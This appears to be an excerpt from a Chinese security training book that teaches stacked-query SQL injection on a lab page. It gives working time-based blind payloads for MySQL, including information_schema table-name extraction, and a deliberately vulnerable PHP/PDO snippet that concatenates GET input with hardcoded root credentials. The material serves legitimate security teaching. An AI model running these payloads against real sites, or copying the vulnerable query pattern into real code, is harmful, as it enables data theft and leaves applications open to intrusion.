最新堆疊查詢注入攻擊和注入程式碼分析技術

Ms08067安全实验室發表於2024-03-08

堆疊查詢注入攻擊

堆疊查詢注入攻擊的測試地址在本書第2章。

堆疊查詢可以執行多條語句,多語句之間以分號隔開。堆疊查詢注入就是利用這個特點,在第二個SQL語句中構造自己要執行的語句。首先訪問id=1',頁面返回MySQL錯誤,再訪問id=1'%23,頁面返回正常結果。這裡可以使用Boolean注入、時間注入,也可以使用另一種注入方式——堆疊注入。

堆疊查詢注入的語句如下:

';select if(substr(user(),1,1)='r',sleep(3),1)%23

從堆疊查詢注入語句中可以看到,第二條SQL語句

(select if(substr(user(),1,1)='r', sleep(3),1)%23)

就是時間注入的語句,執行結果如圖4-43所示。

4-43

後面獲取資料的操作與時間注入的一樣,透過構造不同的時間注入語句,可以得到完整的資料庫的庫名、表名、欄位名和具體資料。執行以下語句,就可以獲取資料庫的表名。

';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='u',sleep(3),1)%23

結果如圖4-44所示。

4-44


堆疊查詢注入程式碼分析

在堆疊查詢注入頁面,程式獲取GET引數ID,使用PDO的方式進行資料查詢,但仍然將引數ID拼接到查詢語句中,導致PDO沒起到預編譯的效果,程式仍然存在SQL隱碼攻擊漏洞,程式碼如下:

<?phptry { $conn = new PDO("mysql:host=localhost;dbname=test", "root", "123456"); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $conn->query("SELECT * FROM users where `id` = '" . $_GET['id'] . "'"); $result = $stmt->setFetchMode(PDO::FETCH_ASSOC); foreach($stmt->fetchAll() as $k=>$v) { foreach ($v as $key => $value) { if($key == 'username'){ echo 'username : ' . $value; } } } $dsn = null;}catch(PDOException $e){ echo "error";}$conn = null;?>

使用PDO執行SQL語句時,可以執行多語句,不過這樣通常不能直接得到注入結果,因為PDO只會返回第一條SQL語句執行的結果,所以在第二條語句中可以用update語句更新資料或者使用時間注入獲取資料。訪問dd.php?id=1';select if(ord(substring (user(),1,1))=114,sleep(3),1);%23時,執行的SQL語句如下:

SELECT * FROM users where `id` = '1';select if(ord(substring(user(),1,1))=114,sleep (3),1);#

此時,SQL語句分為兩條,第一條為

SELECT * FROM users where `id` = '1'

是程式碼自己的select查詢;

select if(ord(substring(user(),1,1))=114,sleep(3),1);#

則是我們構造的時間注入的語句。

Ms08067安全實驗室專注於網路安全知識的普及和培訓,是專業的“圖書出版+培訓”的網路安全線上教育平臺,專注於網路安全領域中高階人才培養。

平臺已開設Web安全零基礎就業,Web高階安全攻防進階,紅隊實戰攻防特訓,Java程式碼安全審計,惡意程式碼分析與免殺實戰,CTF基礎實戰特訓營,網路安全應急響應,安全工具開發,AI與網路安全等系統培訓課程。實驗室出版安全圖書《Web安全攻防:滲透測試實戰指南》、《內網安全攻防:滲透測試實戰指南》、《Python安全攻防:滲透測試實戰指南》、《Java程式碼審計:入門篇》等。

掃描客服微信 獲取更多課件+學習資料

相關文章